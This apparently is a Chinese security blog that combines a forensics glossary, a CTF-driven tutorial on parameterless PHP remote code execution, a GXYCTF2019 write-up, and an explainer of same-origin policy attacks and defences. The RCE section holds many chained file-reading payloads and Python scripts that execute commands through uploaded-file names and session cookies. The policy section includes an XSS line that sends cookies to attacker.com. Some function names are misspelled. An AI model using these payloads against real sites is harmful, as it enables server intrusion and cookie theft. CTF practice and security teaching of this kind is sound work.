0%

初探取证

电子数据取证专业名词术语

临时文件

计算机使用过程中产生的临时数据,这些临时文件有时也可以给我们的调查提供一些线索

1
2
3
4
5
6
系统临时文件
C:\Windows\Temp\*.tmp
IE访问临时文件
C:\Documents and Settings\Username\Local Settings\Temporary Internet Files
office文档编辑时产生的临时文件
C:\Documnets and Settings\Administrator\Application Data\Microsoft\Word
历史记录

是指多数计算机程序在运行的过程中产生的 记录信息

1
2
在浏览器中,历史记录是指浏览器曾经访问过的网站在计算机中存在的信息
iis访问日志记录服务器的一些状况和访问ip的来源和登录情况等
未分配簇

是指哪些在当前文件系统中没有被分配的空间,数据恢复就是从将那些在磁盘上已删除的文件但空间地址未被覆盖,

在这里讲一下数据恢复的概念

1
比如你有一个文件,但是现在你把他删除了,你表面上是看不到这个文件了,但其实是这个文件隐藏起来了,文件资源管理器会对电脑发出指令,这个文件的内存地址我不需要了,你爱咋咋地,也就是后面新来的数据会直接覆盖在上面,如果被删除的文件的内存地址尚未被覆盖,那么就可以使用恢复工具进行恢复

未分配簇中可能包含大量重要的证据信息,只要数据未被覆盖,可以通过相关技术检索到或直接恢复,这是非常重要的

可以在取证软件中查看未分配簇内容,包含曾经被删除的数据

文件残留区

文件残留区是指文件逻辑大小到物理大小末尾之间的数据

1
2
3
|---------------------------------------|----------------|
|<--------------逻辑大小---------------->|<----文件残留区->|
|<--------------------------物理大小--------------------->|

簇:文件储存的最小单位,簇是有多个扇区组成

隐藏文件的方式

1
硬盘加密,压缩包加密,bitlocker加密,office文件加密,虚拟容器加密,修改文件拓展名,EFS文件加密,信息隐写

无参数rce

这是今天打tgctf2025题的时候,遇到的问题,秉持着遇到问题就解决的思想,写下这篇博客,系统的研究无参数rce,废话不多说

什么是无参数

就是使用函数的时候不能带有参数,具体来说就是各种函数的嵌套,利用各种函数的返回值

常见函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

1
2
plaintext
?code=print_r(getallheaders());

数组会返回 HTTP 请求头。

get_defined_vars()

1
2
3
getallheaders()`是有局限性的,因为如果中间件不是`apache`的话,它就用不了了,那我们就介绍一种更为普遍的方法`get_defined_vars()`,这种方法其实和上面那种方法原理是差不多的,它并不是获取的`headers`,而是获取的四个全局变量`$_GET $_POST $_FILES $_COOKIE
plaintext
?code=var_dump(get_defined_vars());

var_dump可以把返回数组打印出来。

getenv()

获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本

1
2
plaintext
?code=var_dump(getenv());

php7.0以下返回bool(false)

php7.0以上正常回显。

1
2
plaintext
?code=var_dump(getenv(phpinfo()));

phpinfo()可以获取所有环境变量。

scandir()

文件读取

查看当前目录文件名

1
2
plaintext
print_r(scandir(current(localeconv())));

读取当前目录文件

1
2
3
4
5
6
7
8
9
10
11
12
plaintext
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

1
2
3
4
plaintext
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

1
2
3
4
plaintext
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

无参数读取文件

查看当前目录

1
print_r(getcwd());

print_r(scandir('.'))查看当前目录下所有文件,以数组的形式输出。

但是要怎么构造.呢

使用localeconv()

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是 .

  • current() 返回数组中的单元,默认第一个值。

    所以我们输出 print_r(scandir(current(localeconv())));也会如同 print_r(scandir('.'))打印当前目录下文件名。

  • 使用 print_r(scandir(pos(localeconv())));,pos是current的别名

  • reset()函数将内部指针指向数组中的第一个元素,并输出。

    相关的方法:

    • current()- 返回数组中的当前元素的值
    • end()- 将内部指针指向数组中的最后一个元素,并输出
    • next()- 将内部指针指向数组中的下一个元素,并输出
    • prev()- 将内部指针指向数组中的上一个元素,并输出
    • each()- 返回当前元素的键名和键值,并将内部指针向前移动

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

1
2
php
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

current()和pos()

pos()函数是current()函数的别名,两者是完全一样的,

它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。

chdir()

这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')

array_reverse()

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

highlight_file()

打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

查看上级目录方法一:dirname()

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

1
?code=print_r(scandir(dirname(getcwd())));

方法二:构造”..”

1
2
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
next(scandir(chr(ord(hebrevc(crypt(time()))))))

chdir() :改变当前工作目录

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

读取目录的函数

1
2
3
4
5
show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()

无参数命令执行(RCE)

用其他变量辅佐eval传入参数

1
2
3
4
5
6
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

getallheaders()

getallheaders()获取全部 HTTP 请求头信息

apache_response_headers() 获得全部 HTTP 响应头信息

这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。

get_defined_vars()

它能获取到以下变量

1
2
3
4
$_GET
$_POST
$_FILES
$_COOKIE

如何利用file变量进行rce呢?

1
2
3
4
5
6
7
8
9
10
import requests

files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_id()

session_id(): 可以用来获取/设置 当前会话 ID。

session需要使用session_start()开启,然后返回参数给session_id()

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

(PHP5.5 -7.1.9可行)

1
?code=show_source(session_id(session_start()));

其他版本可考虑用hex2bin() 将十六进制形式的命令还原。

1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

getenv()

getenv() 获取一个环境变量的值(只适用于7.1以后版本)

通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

那么如何读取其他文件

  • array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组。

1
2
readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

如果目标文件不在当前目录呢?

  • dirname() :返回路径中的目录部分,

    从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

  • chdir() :改变当前工作目录

    1
    print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
  • 构造”..”

    print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是”..”,所以可以用next()获取

    1
    print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

    结合上文的一些构造都是可以获得”..”的 :

    1
    next(scandir(chr(ord(hebrevc(crypt(time()))))))
  • 读取上级目录文件

    直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,前面写到了chdir(),使用:

    1
    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

    如果不能使用dirname(),可以使用构造”..”的方式切换路径并读取:

    但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

    1
    2
    3
    4
    5
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
    或更复杂的:
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
    还可以用:
    show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

    还有:

    1
    if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

三、实战例题-[GXYCTF2019]禁止套娃

这道题目打开就是一个普通的页面,经过目录扫描会发现是git源码泄露,用Githack把源码弄出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

代码分析

首先看第一行关键代码:

1
2
plaintext
!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])

很明显,大概意思就是不让我们用伪协议去写或者是读文件。

然后看第二行关键代码:

1
2
plaintext
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

再看第二个正则,中间有一个(?R),这个式子他会递归调用当前的正则表达式,就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,也就是无参数函数校验。

最后第三行关键代码:

1
2
plaintext
!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])

就是屏蔽了一些函数名的关键字之类的东西。

分析完成我们整理一下:不能用伪协议 、只能用无参数函数形式、注意函数过滤

解题步骤

首先遍历当前目录:

1
2
plaintext
?exp=print_r(scandir(current(localeconv())));

顺利得到目录。

方法一:

可以看到flag.php是倒数第二个,那我们把它反转一下,然后再用一个next()就是flag.php这个文件了:

1
2
plaintext
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

已经很接近答案了,用highlight_file读取这个文件就拿到flag了:

1
2
plaintext
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

思路总结

1
2
3
4
5
plaintext
scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

方法二:

我们已经知道了flag就在当前目录下了。
array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。
用这两个函数就可以实现对flag.php的读取。最后payload如下:

1
2
plaintext
?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));

因为array_rand()的选取是随机的,所以不一定会直接出来,多刷新几次就可以了

同源策略及其攻防详解

1. 同源策略的定义与作用

同源策略是由Netscape提出的一种安全策略,用于限制不同源(协议、域名、端口)的文档或脚本如何与另一个源的资源进行交互。只有当协议、域名和端口完全相同时,才被认为是同源。

作用

  • 保护用户数据安全,防止不同源的脚本访问或修改当前页面的敏感数据。
  • 防止敏感数据泄露,限制跨域请求。
  • 防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等安全威胁。

2. 与同源策略相关的攻击

(1)跨站脚本攻击(XSS)

原理:攻击者通过注入恶意JavaScript代码,使其在用户浏览器中执行,窃取用户敏感信息或篡改页面内容。

案例
在一个论坛的留言板功能中,如果未对用户输入进行严格过滤,攻击者可以在留言框中输入以下代码:

1
<script>document.location='http://attacker.com?cookie='+document.cookie</script>

当其他用户访问该留言页面时,这段恶意脚本会被执行,将用户的cookie信息发送到攻击者的服务器。

与同源策略的关系:XSS攻击利用网站漏洞,使得恶意脚本在同源页面中执行,绕过同源策略的限制。

(2)跨站请求伪造(CSRF)

原理:攻击者利用用户已登录的状态,伪造请求,执行未经授权的操作。

案例
假设银行网站的转账操作URL为:

1
http://bank.com/transfer?to=123456&amount=1000

攻击者可以在一个恶意页面中创建一个隐藏的链接或按钮,链接指向上述URL。当用户在已登录银行网站的状态下访问该恶意页面并点击链接时,资金可能被转走。

与同源策略的关系:CSRF攻击通过诱导用户点击恶意链接,绕过同源策略对跨域请求的部分限制。

(3)点击劫持(Clickjacking)

原理:攻击者通过透明iframe等手段,诱导用户点击,执行恶意操作。

案例
在一个看似普通的图片页面中,攻击者可能隐藏一个透明的iframe,用户点击图片时,实际触发了iframe中的恶意链接。

与同源策略的关系:点击劫持利用用户的视觉错觉,绕过同源策略对页面交互操作的限制。

3. 基于同源策略的防御措施

(1)针对XSS攻击
  • HttpOnly属性:禁止JavaScript访问带有HttpOnly属性的cookie,防止cookie被XSS攻击窃取。例如,在服务器端设置cookie时使用以下代码(以PHP为例):

    1
    setcookie('user_id', $user_id, time() + 3600, '/', '', false, true);

    其中最后一个参数true表示设置了HttpOnly属性。

  • 输入输出检查:对用户输入进行严格过滤,对输出进行编码。例如,过滤掉特殊符号如<>等,并在输出时将其编码为<>

(2)针对CSRF攻击
  • 验证码:增加用户操作的验证步骤,防止攻击者伪造请求。
  • Referer检查:验证请求来源是否为同源,拒绝非同源请求。
  • Token机制:在请求中加入随机Token,确保请求的合法性。
(3)针对点击劫持
  • X-Frame-Options:通过HTTP头限制页面被嵌入iframe,防止点击劫持。
  • 禁止跨域iframe:通过JavaScript代码防止页面被嵌套在恶意iframe中。

4. 总结

同源策略是Web安全的重要基石,通过限制不同源之间的交互,有效保护用户数据和隐私。然而,攻击者可能利用漏洞绕过同源策略,因此开发者需要采取多种防御措施,如输入验证、输出编码、使用安全的Cookie属性等,以增强Web应用的安全性。